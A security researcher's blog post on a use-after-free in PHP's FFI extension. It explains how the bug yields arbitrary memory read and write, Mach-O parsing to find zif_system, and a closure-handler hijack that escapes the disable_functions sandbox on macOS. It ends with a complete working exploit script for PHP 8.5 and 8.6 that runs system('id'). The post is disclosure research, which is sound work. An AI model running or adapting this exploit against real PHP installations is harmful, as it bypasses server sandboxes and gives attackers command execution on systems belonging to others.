C111001: Escape the PHP Sandbox on macOS
I would like to point out that the exploit and the blog post were written by myself (I am Human After All). On the other hand, the diagrams were generated using Claude (Opus 4.6).
Introduction
Over the past few weeks, I have been investigating the exploitability of several memory corruption vulnerabilities that I identified in PHP. In total, seven vulnerabilities were reported through GitHub issues (five Use After Free and two Double Free):
- #22060 (UAF, issue open)
- #22061 (Double Free, issue closed)
- #22062 (UAF, issue fixed in commit d6b7bd0)
- #22063 (UAF, issue open)
- #22064 (UAF, issue open)
- #22121 (Double Free, issue fixed in commit 509310d)
- #22122 (UAF, issue open)
I am not going to question PHP security policy, but for PHP developers, the memory corruptions listed above are not considered as security issues, which is why they have been reported as normal GitHub issues.
As I have shown in previous research (B12: Introduction to exploitation of the PHP interpreter by writing a 1day for CVE-2016-3132,
C101010: PHP SplDoublyLinkedList::pop() Use After Free),
a sufficiently powerful memory corruption in PHP can be used to bypass the
disable_functions and escape the sandbox.
My current research focuses on macOS, and an interesting characteristic of this
platform is that PHP installations distributed through Homebrew (brew) are
shipped with FFI enabled by default. In this article, we will examine how a Use
After Free vulnerability in the PHP interpreter can become the foundation of a
PHP sandbox escape on modern macOS systems.
Here is the sandbox we are going to bypass:
# list of function to disable globally
disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
allow_url_fopen=Off
allow_url_include=Off
Summary
For those already familiar with PHP engine exploitation techniques, I would
say that I have improved the methodology by skipping the steps involved in
creating a zend_reference to achieve a full arbitrary read, and that I have
eliminated the need to copy a zend_closure in order to rewrite its handler.
I focused on smart spraying to ensure that the necessary pages were filled
and that memory allocations for objects critical to the exploit were made at
addresses higher than my $victim object (which makes the exploit technique
easier to understand).
FFI UAF or when pointer arithmetic creates a dangling CData
When pointer arithmetic is performed on an owned FFI\CData array object
($base + N), zend_ffi_add() creates a new FFI\CData object whose
ptr_holder stores the computed address inside the base’s C allocation.
No reference is held from the new object back to the base, OBJ_ADDREF
is never called and ZEND_FFI_FLAG_OWNED is not propagated.
When the base object is GC’d, zend_ffi_cdata_dtor frees the underlying
C allocation via pefree(cdata->ptr, ...). The offset CData’s ptr_holder
field then holds a dangling pointer into the freed region. As a result, any
subsequent FFI read or write through the offset CData constitutes a UAF on that
freed allocation.
Initial proof of concept
An easy way to reproduce the bug is to use the proof of concept below.
<?php
$ffi = FFI::cdef('');
$base = $ffi->new('int[10]');
$offset = $base + 2;
unset($base);
var_dump($offset[0]);
$offset[0] = 0x41414141;
Which produces the following result.
Command:
USE_ZEND_ALLOC=0 php poc.php
Output:
=================================================================
==90394==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000078558 at pc 0x00010481b4f8 bp 0x00016ba5bca0 sp 0x00016ba5bc98
READ of size 4 at 0x604000078558 thread T0
#0 0x00010481b4f4 in zend_ffi_cdata_to_zval ffi.c:571
#1 0x0001047c6d30 in zend_ffi_cdata_read_dim ffi.c:1438
#2 0x000105b1d120 in zend_fetch_dimension_address_read zend_execute.c:3178
#3 0x000105f15cd8 in zend_fetch_dimension_address_read_R_slow zend_execute.c:3220
#4 0x000105deb38c in ZEND_FETCH_DIM_R_SPEC_CV_CONST_TAILCALL_HANDLER zend_vm_execute.h:94497
#5 0x000105b2bc64 in execute_ex zend_vm_execute.h:110168
#6 0x000105b2c5f8 in zend_execute zend_vm_execute.h:115586
#7 0x0001060fee20 in zend_execute_script zend.c:1971
#8 0x000105758aa4 in php_execute_script_ex main.c:2646
#9 0x000105759014 in php_execute_script main.c:2686
#10 0x0001061055dc in do_cli php_cli.c:947
#11 0x000106103b9c in main php_cli.c:1370
#12 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
0x604000078558 is located 8 bytes inside of 40-byte region [0x604000078550,0x604000078578)
freed by thread T0 here:
#0 0x000109380f10 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f10)
#1 0x0001059c6d0c in __zend_free zend_alloc.c:3571
#2 0x0001059caa20 in _efree zend_alloc.c:2788
#3 0x000104822688 in zend_ffi_cdata_dtor ffi.c:2412
#4 0x0001047c509c in zend_ffi_cdata_free_obj ffi.c:2468
#5 0x00010607e800 in zend_objects_store_del zend_objects_API.c:193
#6 0x0001060e49fc in rc_dtor_func zend_variables.c:56
#7 0x000105e7dfbc in ZEND_UNSET_CV_SPEC_CV_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:101914
#8 0x000105b2bc64 in execute_ex zend_vm_execute.h:110168
#9 0x000105b2c5f8 in zend_execute zend_vm_execute.h:115586
#10 0x0001060fee20 in zend_execute_script zend.c:1971
#11 0x000105758aa4 in php_execute_script_ex main.c:2646
#12 0x000105759014 in php_execute_script main.c:2686
#13 0x0001061055dc in do_cli php_cli.c:947
#14 0x000106103b9c in main php_cli.c:1370
#15 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
previously allocated by thread T0 here:
#0 0x000109380e24 in malloc+0x70 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54e24)
#1 0x0001059cb030 in __zend_malloc zend_alloc.c:3543
#2 0x0001059ca8f4 in _emalloc zend_alloc.c:2778
#3 0x0001047abd88 in zim_FFI_new ffi.c:3953
#4 0x000105db5e38 in ZEND_DO_FCALL_SPEC_RETVAL_USED_TAILCALL_HANDLER zend_vm_execute.h:54920
#5 0x000105b2bc64 in execute_ex zend_vm_execute.h:110168
#6 0x000105b2c5f8 in zend_execute zend_vm_execute.h:115586
#7 0x0001060fee20 in zend_execute_script zend.c:1971
#8 0x000105758aa4 in php_execute_script_ex main.c:2646
#9 0x000105759014 in php_execute_script main.c:2686
#10 0x0001061055dc in do_cli php_cli.c:947
#11 0x000106103b9c in main php_cli.c:1370
#12 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
SUMMARY: AddressSanitizer: heap-use-after-free ffi.c:571 in zend_ffi_cdata_to_zval
Shadow bytes around the buggy address:
0x604000078280: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
0x604000078300: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 00
0x604000078380: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
0x604000078400: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
0x604000078480: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
=>0x604000078500: fa fa 00 00 00 00 00 fa fa fa fd[fd]fd fd fd fa
0x604000078580: fa fa fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x604000078600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x604000078680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x604000078700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x604000078780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==90394==ABORTING
Once we are certain that our bug is valid, we can start by trying to build some simple primitives before reporting it to the developer.
The first primitive demonstrates that it is possible to change the value of the
val field in a zend_string structure.
File: Zend/zend_types.h
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};
And the second shows that it is possible to change the field len.
Theoretically, that is all we need to understand to move forward. The rest is simply a matter of applying these principles to the Zend engine (and other structures involved), but it all boils down to this. The ability to modify the values of fields within structures.
Escape PHP sandbox on macOS
Overview of the attack
The goal of the exploit is to leverage a Use After Free vulnerability in PHP
FFI extension to obtain arbitrary read and write primitives within the PHP
process. These primitives are then used to parse the Mach-O image in memory,
locate zif_system(), and ultimately hijack a PHP closure handler to execute
system("id").
Heap spray and hole creation
The first stage prepares the heap by allocating 2000 strings of 8 bytes each.
Once the relevant bin (0x28) is populated, the string at index 1000 is
released, creating a predictable hole in the heap layout.
FFI allocation
An FFI array is allocated into the previously created hole, as it is matching
the same allocator size class. A pointer is then computed as an offset from the
base ($offset = $base + 4). When $base is released via unset(), the
underlying C pointer referenced by $offset is not cleared or revalidated
so it continues to reference the now freed memory region, which is a User After
Free.
Claim the freed chunk and corrupt zend_string field len
A new 8 byte string ($victim), is allocated and the memory allocator reuses
the previously freed chunk. Because the allocation lands in the same memory
region, the existing FFI dangling pointer $offset now overlaps with $victim
internal structure. The overlap aligns precisely with the field len within
the zend_string structure.
strlen($victim) === 0x43434343. The string now appears to be crazy long and
reading $victim[$n] for any $n up to that limit reads raw memory past the
string.
Address leak to ASLR bypass
Two neighboring sprayed allocations (indexed 1002 and 1001), are released
back to the allocator (in this order). During this process, the allocator
stores metadata in the freed chunk, including a pointer to the next available
free block in the free list (written into the first 8 bytes of the chunk).
Because zend_string field val begins at offset 0x18 within the
overlapping memory layout, and the size of $victim has been expanded, indexed
reads such as $victim[$n] access data beyond the initial bounds. This causes
the read to reach into the freed chunk’s metadata region, exposing the free-list
pointer stored there. In our case, it can be leveraged to cause an address leak
in the heap.
The function str2ptr() performs an 8 byte read from memory. Within a
zend_string structure, the val field begins at offset 0x18 from the
start of the underlying heap chunk.
Because the allocator has placed the free-list forward pointer for the
previously freed entry indexed 1002 into the metadata region of entry 1001,
the read operation targets this allocator-controlled field. This results in the
extraction of internal heap metadata, effectively leaking a heap address
through the corrupted interpretation of $victim.
Arbitrary write to higher addresses
New string objects $last_freed ("YYYYYYYY") and $prev_freed ("ZZZZZZZZ")
are allocated and placed into the previously freed memory regions, occupying
the expected heap holes.
As we explained $victim has an artificially enlarged length field. Indexed
writes such as $victim[$n] extend beyond the bounds of its actual backing
buffer. This out of bounds write crosses into adjacent heap objects, where it
reaches the val[] buffers of $last_freed and $prev_freed. As a result,
memory belonging to these neighboring strings can be directly modified through
$victim, effectively turning the corrupted length into a primitive for
overwriting adjacent heap allocated data.
By exploiting the expanded bounds of $victim, any target string located at
a higher known heap address can be reached by calculating its offset relative
to $victim_addr. Writing through $victim at the corresponding index then
modifies the memory of that target object directly. This effectively provides
a controlled primitive for writing to arbitrary locations within the heap.
Full arbitrary read primitive
Unlike what I explained in 2023, there is no need to go to the trouble of
creating a fake zend_reference.
Spray Helper objects and scan for magic value (0xdeadbeef)
500 Helper objects are allocated in a controlled spray to consome pages and
populate predictable regions of the heap which increase layout stability. As a
result, when we allocate a specific Helper, we will definitely allocate it to
an address higher than that of our $victim object.
This specific instance called $helper, is initialized with a sentinel value
$helper->a = 0xdeadbeef, while $helper->b is assigned a closure to ensure a
recognizable and stable object layout. The exploitation process then uses the
previously expanded read capability through $victim to scan across adjacent
memory regions.
During this scan, the pattern 0xdeadbeef is used as a marker. It is
correlated with expected zval type metadata, specifically matching IS_LONG (4),
allowing precise identification of object property structures. This makes it
possible to locate the properties_table associated with $helper in memory,
effectively mapping object layout within the heap.
Verify arbitrary write through $helper
Using the out of bounds write via $victim, the zval value for $helper->a
is overwritten with 0xcafebabe. Reading $helper->a returns the new value,
confirming the offset and successful write primitive.
Converting IS_LONG (4) to IS_STRING (6)
This step is critical. The exploit modifies the zval backing $helper->a
so that PHP misinterprets its internal representation, treating it as a
zend_string pointer instead of an integer.
PHP has no runtime type safety on internal zval manipulation. Changing the
type byte from 4 to 6 makes every access to $helper->a dereference
value as a zend_string.
Full arbitrary read via strlen()
The function leak_through_len() provides a complete arbitrary read primitive.
By supplying any target address, leak_through_len() returns the 8 byte value
stored at that location (anywhere within the process virtual address space).
function leak_through_len($address, $offset = 0, $size = 0x8) {
...
$leak = strlen($helper->a);
...
}
Binary base and Mach-O parsing
Leak a pointer into the PHP binary and scan backward for Mach-O magic
Every zend_object contains a handlers pointer at offset +0x18 that
references the static zend_object_handlers table compiled into the PHP binary.
Reading this pointer yields an address located within PHP __DATA_CONST segment.
On macOS, binaries follow the Mach-O format, and the executable base address is
aligned to memory pages (commonly 0x4000 on ARM64). Using the leaked pointer
as a reference, the exploit scans backward, searching for the Mach-O magic
header value 0xfeedfacf, which identifies the start of the Mach-O image.
Parse Mach-O segments
We parses the Mach-O load command structure to locate the segments defining
__TEXT, __DATA_CONST, and __DATA. From these entries, we extract each
segment’s virtual address and size.
Using the known relationship between the leaked runtime pointer and the
expected vmaddr of the __TEXT segment, we can compute the ASLR slide as the
difference between the observed base address and the static vmaddr. This
reveals the randomized load offset of the PHP binary in memory.
Locating system()
Finding basic_functions[] table
basic_functions[] (stored in __DATA_CONST) is a table used by PHP to
register built-in functions. Each entry is a zend_function_entry containing a
function name pointer (fname) and a handler pointer.
The exploit scans through the segment, searching for known adjacent symbols
such as "set_time_limit" followed by "header_register_callback" at fixed
entry spacing. This pattern match, allows precise recovery of the table layout
and identification of the basic_functions array in memory.
In PHP 8.5:
sizeof(zend_function_entry) = 48 bytesIn PHP 8.6:
sizeof(zend_function_entry) = 56 bytes
Walk the table to find system()
Once the basic_functions table is located, the exploit walks each
zend_function_entry sequentially. For each entry, it compares the first 6
bytes of the function name against the value 0x6d6574737973 (which
corresponds to the string "system" in little endian).
When a match is identified, the corresponding handler field is read. This
field contains the function pointer for zif_system() (providing the exact
address of the system implementation within the PHP binary).
Closure hijack and RCE
$helper->b is an anonymous function stored as a closure (zend_closure).
Its zval entry at properties_table[1] references a zend_closure object
allocated on the heap. The exploit first resolves this pointer, then directly
modifies key internal fields of the closure object.
Trigger
The disable_functions restriction is enforced at the PHP userland dispatch
layer by checking function names and consulting the symbol table. In the
scenario below, that mechanism is never reached.
($helper->b)("id");
Instead, execution is redirected directly through a resolved function pointer
to zif_system(). Because the call bypasses the symbol lookup entirely, there
is no function name resolution step, and therefore no opportunity for
disable_functions to intercept or block the invocation.
Conclusion
Thank you for taking the time to read this article, it was interesting to dive back into the inner workings of PHP after three years of not having looked into it. Some structures have gained fields, but overall it is the same.
Exploit
File: exploit.php (working for PHP 8.5 and 8.6)
<?php
global $victim, $victim_addr, $ZEND_STRING_VAL_OFFSET, $helper, $helper_addr, $HELPER_A_OFFSET;
$MAX_LEN_SAME_BIN = 0x8;
$ELEMENT_TO_FREE = 1000;
$ZEND_STRING_VAL_OFFSET = 0x18;
$CHUNK_GAP = 0x28;
$HELPER_MAGIC = 0x00000000deadbeef;
$HELPER_A_OFFSET = 0x28;
$PROPERTIES_TABLE_ELT_OFFSET = 0x10;
$ZEND_OBJECT_HANDLERS_OFFSET = 0x18;
class Helper {
public $a, $b, $c, $d, $e, $f, $g;
}
// Convert string buffer into pointer-sized integer.
function str2ptr(&$str, $p = 0, $s = 0x8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 0x8;
$address |= ord($str[$p+$j]);
}
return $address;
}
// Raw memory write primitive over zend_string buffer.
function write(&$str, $offset, $value, $size=8, $endianness="l") {
if ($endianness === "l") {
for($i = 0; $i < $size; $i++) {
$str[$offset + $i] = chr($value & 0xff);
$value >>= 0x8;
}
}
}
// Abuse zend_string.len field as a read window into memory.
function leak_through_len($address, $offset = 0, $size = 0x8) {
global $victim, $victim_addr, $ZEND_STRING_VAL_OFFSET, $helper, $helper_addr, $HELPER_A_OFFSET;
// Overwrite helper->a zval so that strlen() reads from arbitrary address.
write($victim, $helper_addr - $victim_addr - $ZEND_STRING_VAL_OFFSET + $HELPER_A_OFFSET, $address + $offset - 0x10);
$leak = strlen($helper->a);
if($size != 0x8) {
$leak &= (1 << ($size * 0x8)) - 1;
}
return $leak;
}
// Scan memory backwards to locate Mach-O base via magic header.
function get_binary_base($binary_leak) {
$page_size = 0x4000;
$start = $binary_leak & ~($page_size - 1);
for ($i = 0; $i < 0x1000; $i++) {
$addr = $start - $page_size * $i;
$leak = leak_through_len($addr, 0, 7);
// Check Mach-O magic: 0xfeedfacf (64-bit).
if (($leak & 0xffffffff) === 0xfeedfacf) {
return $addr;
}
}
}
// Parse Mach-O header and extract segment layout (based on parse_elf() from my
// 2023 exploit).
function parse_macho($base) {
$magic = leak_through_len($base, 0, 4);
if ($magic !== 0xfeedfacf) {
print "[x] Script failed.\n";
exit(-1);
}
print "[+] mach_header_64 header detected.\n";
$cputype = leak_through_len($base, 0x4, 4);
$cpusubtype = leak_through_len($base, 0x8, 4);
if ($cputype !== 0x0100000c) {
print "[x] Script failed.\n";
exit(-1);
}
switch ($cpusubtype & 0x00ffffff) {
case 2:
$arch = 'arm64e';
break;
default:
$arch = 'arm64';
break;
}
print "[+] Architecture is " . $arch . ".\n";
$ncmds = leak_through_len($base, 0x10, 4);
print "[+] Number of commands detected: " . $ncmds . "\n";
$cmd = $base + 0x20;
$text_vmaddr = null;
$text_size = null;
$data_const_vmaddr = null;
$data_const_size = null;
$data_vmaddr = null;
$data_size = null;
for ($i = 0; $i < $ncmds; $i++) {
$lc_cmd = leak_through_len($cmd, 0, 4);
$lc_size = leak_through_len($cmd, 4, 4);
if ($lc_size < 8) {
print "[x] Invalid load command size.\n";
exit(-1);
}
// LC_SEGMENT_64 = 0x19
if ($lc_cmd === 0x19) {
$segname = "";
for ($j = 0; $j < 16; $j++) {
$c = leak_through_len($cmd, 8 + $j, 1);
if ($c === 0) break;
$segname .= chr($c);
}
$vmaddr = leak_through_len($cmd, 0x18);
$vmsize = leak_through_len($cmd, 0x20);
if ($segname === "__TEXT") {
$text_vmaddr = $vmaddr;
$text_size = $vmsize;
print "[+] Segment __TEXT found.\n";
print "\t - \$text_vmaddr: 0x" . dechex($vmaddr) . "\n";
print "\t - \$text_size: 0x" . dechex($vmsize) . "\n";
} elseif ($segname === "__DATA_CONST") {
$data_const_vmaddr = $vmaddr;
$data_const_size = $vmsize;
print "[+] Segment __DATA_CONST found.\n";
print "\t - \$data_const_vmaddr: 0x" . dechex($vmaddr) . "\n";
print "\t - \$data_const_size: 0x" . dechex($vmsize) . "\n";
} elseif ($segname === "__DATA") {
$data_vmaddr = $vmaddr;
$data_size = $vmsize;
print "[+] Segment __DATA found.\n";
print "\t - \$data_vmaddr: 0x" . dechex($vmaddr) . "\n";
print "\t - \$data_size: 0x" . dechex($vmsize) . "\n";
}
}
$cmd += $lc_size;
}
if ($text_vmaddr === null) {
print "[x] __TEXT segment not found.\n";
exit(-1);
}
$slide = $base - $text_vmaddr;
if (($text_vmaddr + $slide) !== $base) {
print "[x] Invalid slide.\n";
exit(-1);
}
return [
'slide' => $slide,
'text_vmaddr' => $text_vmaddr,
'text_size' => $text_size,
'data_const_vmaddr' => $data_const_vmaddr,
'data_const_size' => $data_const_size,
'data_vmaddr' => $data_vmaddr,
'data_size' => $data_size,
];
}
// Locate zend_function_entry table (basic_functions) by scanning __DATA_CONST
// for known function name patterns
function get_basic_functions($base, $macho) {
// basic_functions[] is in the read-only __DATA_CONST segment. By scanning
// for a pointer to the string "set_time_limit" within the module
// image and validating that the next zend_function_entry begins with
// "header_register_callback". In PHP 8.5 each entry is 48 bytes (6 qwords:
// fname, handler, arg_info, num_args+flags, frameless, doc_comment), while
// in PHP 8.6 each entry is 56 bytes (7 qwords: fname, handler, arg_info,
// num_args+padding, flags, frameless, doc_comment), so the validation
// offset is 6 qwords in 8.5 and 7 qwords in 8.6.
$scan_addr = $macho['data_const_vmaddr'] + $macho['slide'];
$scan_size = $macho['data_const_size'];
$data_addr = $macho['data_vmaddr'] + $macho['slide'];
if (!$scan_addr || !$scan_size) {
return false;
}
if (PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION === "8.5") {
$entry_slots = 6;
} elseif (PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION === "8.6") {
$entry_slots = 7;
}
// Scan pointer table for known function name patterns ("set_time_limit"
// and "header_register_callback").
for ($i = 0; $i < $scan_size / 8; $i++) {
$fname0 = leak_through_len($scan_addr, $i * 0x8);
if ($fname0 <= $base || $fname0 >= $data_addr) {
continue;
}
// First 8 bytes of "set_time_limit\0" in little-endian = "set_time"
if (leak_through_len($fname0) !== 0x656d69745f746573) {
continue;
}
$fname1 = leak_through_len($scan_addr, ($i + $entry_slots) * 8);
if ($fname1 <= $base || $fname1 >= $data_addr) {
continue;
}
// First 8 bytes of "header_register_callback\0" in little-endian = "header_r"
if (leak_through_len($fname1) !== 0x725f726564616568) {
continue;
}
return $scan_addr + ($i * 8);
}
return false;
}
// Walk zend_function_entry array to locate system().
function get_system($basic_functions) {
$addr = $basic_functions;
while (true) {
$f_entry = leak_through_len($addr);
if ($f_entry == 0) break;
$f_name = leak_through_len($f_entry, 0, 0x6);
// Compare function name to "system".
if ($f_name == 0x6d6574737973) {
return leak_through_len($addr + 0x8);
}
if (PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION === "8.5") {
$addr += 0x30; // sizeof(zend_function_entry) = 48 bytes in PHP 8.5.
} elseif (PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION === "8.6") {
$addr += 0x38; // sizeof(zend_function_entry) = 56 bytes in PHP 8.6
}
}
return false;
}
// Step 1.
print "[*] Heap massage to set up UAF ...\n";
$spray = [];
for ($i = 0; $i < 2000; $i++) {
$spray[$i] = str_repeat("A", $MAX_LEN_SAME_BIN);
}
// Step 2.
print "[*] Creating a hole (freeing a chunk) in the allocated chunk sequence ...\n";
unset($spray[$ELEMENT_TO_FREE]);
// Step 3.
print "[*] Allocation of the vulnerable element in the freed memory ...\n";
$ffi = FFI::cdef("");
$base = $ffi->new("int[10]");
$offset = $base + 4;
// Step 4.
print "[*] Triggering the UAF ...\n";
unset($base);
// Step 5.
print "[*] Claiming free space with a string ...\n";
$victim = str_repeat("B", $MAX_LEN_SAME_BIN);
print "[*] Corruption of zend_string.len field ...\n";
$offset[0] = 0x43434343;
if (strlen($victim) === 0x43434343) {
print "[+] Length successfully compromised.\n";
} else {
print "[x] Script failed.\n";
exit(-1);
}
// Step 6.
print "[*] Retrieving the address of the controlled zend_string ...\n";
unset($spray[$ELEMENT_TO_FREE + 2]);
unset($spray[$ELEMENT_TO_FREE + 1]);
$victim_addr = str2ptr($victim, 0x10) - 0x50;
$last_freed_addr = $victim_addr + $CHUNK_GAP;
$prev_freed_addr = $victim_addr + 2 * $CHUNK_GAP;
print "[+] ASLR bypassed.\n";
print "\t- \$spray[\$ELEMENT_TO_FREE] chunk is at 0x" . dechex($victim_addr) . " (\$victim address).\n";
print "\t- \$spray[\$ELEMENT_TO_FREE + 1] chunk is at 0x" . dechex($last_freed_addr) . " (\$last_freed address).\n";
print "\t- \$spray[\$ELEMENT_TO_FREE + 2] chunk is at 0x" . dechex($prev_freed_addr) . " (\$prev_freed address).\n";
// Step 7.
print "[*] Filling holes ...\n";
$last_freed = str_repeat("Y", $MAX_LEN_SAME_BIN);
$prev_freed = str_repeat("Z", $MAX_LEN_SAME_BIN);
// Step 8.
print "[*] Checking new values ...\n";
$last_freed_value = str2ptr($victim, 0x10 + $ZEND_STRING_VAL_OFFSET);
$prev_freed_value = str2ptr($victim, 2*(0x10 + $ZEND_STRING_VAL_OFFSET));
if ("0x".dechex($last_freed_value) === "0x5959595959595959" and "0x".dechex($prev_freed_value) === "0x5a5a5a5a5a5a5a5a" ) {
print "[+] Holes were successfully filled.\n";
} else {
print "[x] Script failed.\n";
exit(-1);
}
// Step 9.
write($victim, 0x10 + $ZEND_STRING_VAL_OFFSET, 0x4343434343434343, 0x8);
write($victim, 2*(0x10 + $ZEND_STRING_VAL_OFFSET), 0x4444444444444444, 0x8);
if ($last_freed === "CCCCCCCC" and $prev_freed === "DDDDDDDD" ) {
print "[+] Arbitrary write acquired (towards high address).\n";
} else {
print "[x] Script failed.\n";
exit(-1);
}
// Step 10.
print "[*] Heap massage to fill pages (to allocate \$helper at a higher address than \$victim) ...\n";
$pre_spray = [];
for ($i = 0; $i < 500; $i++) {
$pre_spray[$i] = new Helper;
}
// Step 11.
$helper = new Helper;
$helper->a = $HELPER_MAGIC;
$helper->b = function ($y) {};
// Step 12.
print "[*] Searching for \$helper in memory (from the \$victim address to higher memory addresses) ...\n";
$magic_offset = 0;
$helper_addr = null;
for ($i = 0; $i < 0x1000000; $i += 1) {
if (str2ptr($victim, $i) === $HELPER_MAGIC && (str2ptr($victim, $i + 8, 4) & 0xff) === 4 && (str2ptr($victim, $i + 0x18, 4) & 0xff) === 8) {
$magic_offset = $i;
$helper_addr = $victim_addr + 0x18 + $i - $HELPER_A_OFFSET;
break;
}
}
if ($helper_addr !== null) {
print "[+] \$helper found at 0x" . dechex($helper_addr) . ".\n";
} else {
print "[x] Script failed.\n";
exit(-1);
}
// Step 13.
print "[*] Attempt to overwrite the value of \$helper->a ...\n";
write($victim, $helper_addr - $victim_addr - $ZEND_STRING_VAL_OFFSET + $HELPER_A_OFFSET, 0x00000000cafebabe, 0x8);
if ($helper->a === 0x00000000cafebabe) {
print "[+] \$helper->a (\$helper properties_table[0].value) overwritten.\n";
} else {
print "[x] Script failed.\n";
exit(-1);
}
// Step 14.
print "[*] Attempt to convert \$helper->a type from 4 (IS_LONG) to 6 (IS_STRING) ...\n";
write($victim, $helper_addr - $victim_addr - $ZEND_STRING_VAL_OFFSET + $HELPER_A_OFFSET, $last_freed_addr, 0x8);
write($victim, $helper_addr - $victim_addr - $ZEND_STRING_VAL_OFFSET + $HELPER_A_OFFSET + 0x8, 0x6, 0x1);
if ($helper->a === $last_freed) {
print "[+] Now \$helper->a points to \$last_freed (zend_string).\n";
} else {
print "[x] Script failed.\n";
exit(-1);
}
// Step 15.
print "[*] Verification of the full arbitrary read primitive ...\n";
if ("0x" . dechex(leak_through_len($last_freed_addr + $ZEND_STRING_VAL_OFFSET)) === "0x4343434343434343") {
print "[+] Full arbitrary read acquired.\n";
} else {
print "[x] Script failed.\n";
exit(-1);
}
// Step 16.
$leak = leak_through_len($helper_addr + $ZEND_OBJECT_HANDLERS_OFFSET);
print "[+] Binary leak at 0x" . dechex($leak) .".\n";
// Step 17.
if(!($base = get_binary_base($leak))) {
print "[x] Script failed.\n";
exit(-1);
}
print "[+] Binary base is at 0x" . dechex($base) .".\n";
// Step 18.
print "[*] Attempt to parse the Mach-O header ...\n";
if(!($macho = parse_macho($base))) {
print "[x] Couldn't parse Mach-O header.\n";
exit(-1);
}
print "[+] Mach-O header is at 0x" . dechex($macho["text_vmaddr"]) .".\n";
// Step 19.
if(!($basic_functions = get_basic_functions($base, $macho))) {
print "[x] Could not find basic_functions_module->functions address.\n";
exit(-1);
}
print "[+] basic_functions_module->functions start at 0x" . dechex($basic_functions) .".\n";
// Step 20.
if(!($zif_system = get_system($basic_functions))) {
print "[x] Could not find zif_system address.\n";
exit(-1);
}
print "[+] zif_system is at 0x" . dechex($zif_system) .".\n";
// Step 21.
print "[*] Retrieve \$helper->b value (zval properties_table[1] pointing to a zend_closure) ...\n";
$helper_b_zval_value = str2ptr($victim, $helper_addr - $victim_addr - $ZEND_STRING_VAL_OFFSET + $HELPER_A_OFFSET + $PROPERTIES_TABLE_ELT_OFFSET);
print "[+] \$helper->b zend_closure at 0x" . dechex($helper_b_zval_value) . ".\n";
// Step 22.
write($victim, $helper_b_zval_value - ($victim_addr + 0x18) + 0x38, 1, 1);
write($victim, $helper_b_zval_value - ($victim_addr + 0x18) + 0x80, 0, 4);
print "[+] Overwriting \$helper->b zend_closure's handler with zif_system address.\n";
write($victim, $helper_b_zval_value - ($victim_addr + 0x18) + 0x90, $zif_system);
// Step 23.
print "[+] Triggering system().\n";
($helper->b)("id");
exit(0);